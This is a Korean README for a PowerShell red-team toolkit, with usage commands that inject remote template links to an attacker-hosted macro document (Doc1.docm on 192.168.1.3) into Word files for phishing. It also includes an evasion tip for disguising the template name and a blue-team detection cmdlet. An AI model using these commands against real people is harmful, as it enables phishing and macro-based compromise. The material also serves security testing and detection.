
원격 템플릿 주입 공격 및 방어를 위한 PowerShell 도구 키트로, 피싱을 위해 Office Word 문서에 악성 링크를 삽입하며 블루 팀을 위한 식별 모듈이 포함되어 있습니다.
원격 템플릿 주입 툴킷
RTI-툴킷은 원격 템플릿 주입(Remote Template Injection) 공격을 위한 오픈소스 PowerShell 툴킷입니다. 이 툴킷에는 PS-Templator.ps1이라는 PowerShell 스크립트가 포함되어 있으며, 공격 및 방어 관점 모두에서 사용할 수 있습니다.
다음 표는 PS-Templator.ps1의 주요 모듈(명령어)을 보여줍니다:
| Cmdlet | 설명 | 관점 |
|---|---|---|
| Invoke-Template | 기본 Office Word 템플릿 내에 원격 템플릿 링크를 구현 | 공격 |
| Invoke-Regular | 템플릿이 없는 일반 Office Word 문서 내에 원격 템플릿 링크를 구현 | 공격 |
| Invoke-Identify | 템플릿 유무에 관계없이 Office Word docx 문서 내의 원격 템플릿 링크를 식별 | 방어 |
⚠️ PS-Templator.ps1은 DOCX 파일만 지원합니다.
ℹ️ 이 도구는 미국 국립표준기술연구소(NIST) 국가 취약점 데이터베이스(NVD)에서 CVE-2025-65318 및 CVE-2025-65319로 참조되었습니다.
베타 테스트 기간 동안 귀중한 도움을 주신 친구 @Papadope9과 Stavros Gkounis (일명 purpl3ph03n1x)에게 특별히 감사드립니다.
이 도구는 몇 년 전 @S1ckB0y1337과 함께한 iCAST 레드 팀 평가에서 영감을 받았습니다.
Supernova는 @nickvourd에 의해 ❤️로 제작되었습니다.
원격 템플릿 주입(RTI)은 Microsoft Office의 맥락에서 Office 문서(예: Word, Excel, PowerPoint)의 악성 템플릿을 통해 악용될 수 있는 특정 유형의 보안 취약점을 말합니다.
예를 들어, DOCX 파일의 콘텐츠는 아카이브 내에 XML 형식으로 저장되며, 이러한 XML 파일 중 일부는 외부 리소스나 템플릿을 참조할 수 있습니다. 공격자는 이러한 XML 파일을 조작하여 취약점을 악용하거나 사용자를 속일 수 있는 악성 링크나 콘텐츠를 삽입할 수 있습니다.
이것은 매크로 기반 공격입니다.
PS-Templator.ps1을 모듈로 메모리에 로드하려면 다음 명령을 실행하십시오:
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1은 추가 종속성을 설치할 필요 없이 작동합니다.
ℹ️ PS-Templator.ps1은 PowerShell 모듈로 작동합니다.
ℹ️ PS-Templator.ps1은 Office 2019 Professional Plus가 설치된 Windows 10 머신에서 테스트되었습니다.
Invoke-Template는 기본 Office Word 템플릿 내에 원격 템플릿 링크를 구현하는 명령어입니다.
다음과 같은 기본 Word 템플릿이 있다고 가정합니다:

예를 들어 'Name.docx'로 저장:

Invoke-Template 명령어를 사용하면 이 docx 내에 악성 링크를 삽입할 수 있습니다:
⚠️ Invoke-Template를 실행하기 전에 문서를 저장하고 닫았는지(프로세스를 종료했는지) 확인하십시오.
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
결과:

보시다시피 Invoke-Template 모듈은 원본 문서의 백업을 유지하고 악성 문서의 전체 경로를 제공합니다.
디버깅 관점에서 악성 docx를 zip 아카이브로 변환하고 /word/_rels/settings.xml.rels로 이동하면 악성 링크를 볼 수 있습니다:

Invoke-Regular는 템플릿이 없는 일반 Office Word 문서 내에 원격 템플릿 링크를 구현하는 명령어입니다.
다음과 같은 템플릿이 없는 기본 Word 문서가 있다고 가정합니다:

예를 들어 'Doc1.docx'로 저장:

Invoke-Regular 명령어를 사용하면 이 docx 내에 악성 링크를 삽입할 수 있습니다:
⚠️ Invoke-Regular를 실행하기 전에 문서를 저장하고 닫았는지(프로세스를 종료했는지) 확인하십시오.
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
결과:

보시다시피 Invoke-Regular 모듈은 원본 문서의 백업을 유지하고 악성 문서의 전체 경로를 제공합니다.
디버깅 관점에서 악성 docx를 zip 아카이브로 변환하고 /word/_rels/settings.xml.rels로 이동하면 악성 링크를 볼 수 있습니다:

OPSEC 관점에서 Invoke-Regular 모듈과 함께 -TemplateName을 사용할 수 있습니다. 이렇게 하면 누군가 문서를 분석하려고 할 때 악성 문서가 더 합법적으로 보입니다.
예제는 다음과 같습니다:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
결과:

디버깅 관점에서 악성 docx를 zip 아카이브로 변환하고 /docProps/app.xml로 이동하면 가짜 템플릿 이름을 볼 수 있습니다:

Invoke-Identify는 템플릿 유무에 관계없이 Office Word docx 문서 내의 원격 템플릿 링크를 식별하는 명령어입니다.
악성 Word 문서가 있다고 가정합니다:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
결과:

악성이 아닌 Word 문서가 있다고 가정합니다:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
결과:
